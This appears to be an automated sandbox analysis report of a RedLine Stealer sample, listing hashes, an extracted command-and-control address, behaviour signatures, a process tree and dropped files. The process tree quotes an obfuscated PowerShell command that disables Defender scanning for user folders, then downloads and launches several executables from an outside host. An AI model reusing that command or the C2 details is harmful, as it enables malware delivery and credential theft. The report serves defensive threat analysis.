Analysis
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max time kernel
242s -
max time network
287s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
16/01/2023, 13:11
Static task
static1
Behavioral task
behavioral1
Sample
17855519b9e1bde7cabf66a422b5671d4d462968.exe
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
17855519b9e1bde7cabf66a422b5671d4d462968.exe
Resource
win10v2004-20221111-en
General
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Target
17855519b9e1bde7cabf66a422b5671d4d462968.exe
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Size
365KB
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MD5
ee244310289c82ebe8c73cfd83329f49
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SHA1
17855519b9e1bde7cabf66a422b5671d4d462968
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SHA256
702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33
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SHA512
20053cb845d1ef2845c85596f0d214b04fc8301cb783d8631ca8504af26706e78f046d691a65d1bd8fb9f15ff22e3136d5771f5a9394eb8d534afcc90f350d2b
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SSDEEP
6144:xVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO19AjWbc:xRDF2BpjLQLsvBP0+ecyEY37CGP
Malware Config
Extracted
redline
1
107.182.129.73:21733
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auth_value
3a5bb0917495b4312d052a0b8977d2bb
Signatures
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RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
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RedLine payload 1 IoCs
resource yara_rule behavioral2/memory/4176-171-0x0000000000350000-0x0000000000370000-memory.dmp family_redline -
Blocklisted process makes network request 1 IoCs
flow pid Process 38 4536 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
pid Process 3264 C4Loader.exe 1316 new2.exe 964 SysApp.exe -
Uses the VBS compiler for execution 1 TTPs
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Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1464 set thread context of 1440 1464 17855519b9e1bde7cabf66a422b5671d4d462968.exe 79 PID 1316 set thread context of 4176 1316 new2.exe 95 -
Program crash 2 IoCs
pid pid_target Process procid_target 3888 1464 WerFault.exe 77 4180 1316 WerFault.exe 92 -
Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 4536 powershell.exe 4536 powershell.exe 964 SysApp.exe 964 SysApp.exe 964 SysApp.exe 964 SysApp.exe 964 SysApp.exe 964 SysApp.exe 964 SysApp.exe 964 SysApp.exe 964 SysApp.exe 964 SysApp.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4536 powershell.exe -
Suspicious use of WriteProcessMemory 22 IoCs
description pid Process procid_target PID 1464 wrote to memory of 1440 1464 17855519b9e1bde7cabf66a422b5671d4d462968.exe 79 PID 1464 wrote to memory of 1440 1464 17855519b9e1bde7cabf66a422b5671d4d462968.exe 79 PID 1464 wrote to memory of 1440 1464 17855519b9e1bde7cabf66a422b5671d4d462968.exe 79 PID 1464 wrote to memory of 1440 1464 17855519b9e1bde7cabf66a422b5671d4d462968.exe 79 PID 1464 wrote to memory of 1440 1464 17855519b9e1bde7cabf66a422b5671d4d462968.exe 79 PID 1440 wrote to memory of 4536 1440 vbc.exe 83 PID 1440 wrote to memory of 4536 1440 vbc.exe 83 PID 1440 wrote to memory of 4536 1440 vbc.exe 83 PID 4536 wrote to memory of 3264 4536 powershell.exe 91 PID 4536 wrote to memory of 3264 4536 powershell.exe 91 PID 4536 wrote to memory of 3264 4536 powershell.exe 91 PID 4536 wrote to memory of 1316 4536 powershell.exe 92 PID 4536 wrote to memory of 1316 4536 powershell.exe 92 PID 4536 wrote to memory of 1316 4536 powershell.exe 92 PID 4536 wrote to memory of 964 4536 powershell.exe 94 PID 4536 wrote to memory of 964 4536 powershell.exe 94 PID 4536 wrote to memory of 964 4536 powershell.exe 94 PID 1316 wrote to memory of 4176 1316 new2.exe 95 PID 1316 wrote to memory of 4176 1316 new2.exe 95 PID 1316 wrote to memory of 4176 1316 new2.exe 95 PID 1316 wrote to memory of 4176 1316 new2.exe 95 PID 1316 wrote to memory of 4176 1316 new2.exe 95
Processes
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C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1464 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4536 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"4⤵
- Executes dropped EXE
PID:3264
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1316 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"5⤵PID:4176
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1316 -s 3045⤵
- Program crash
PID:4180
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:964
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"4⤵PID:4756
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1464 -s 3042⤵
- Program crash
PID:3888
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 1464 -ip 14641⤵PID:2624
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 1316 -ip 13161⤵PID:4848
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5
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Filesize
464KB
MD5990c8e3fc56a2734631b51fc61a6779a
SHA155a16cc67fc52cdf0690387e083955048106d48a
SHA256d80ce10659442d8e5b9c28e53bf254711881cf9502f52aeb8abf4a15c9e6e36e
SHA512f5332bcae3242d86a58adf01069c425f5b22bdda9045200fb5b3d9ab3e983d94af8462a04e148b7164e8d6122ec2d198d18081850e00175bb257c0ddb3defdc5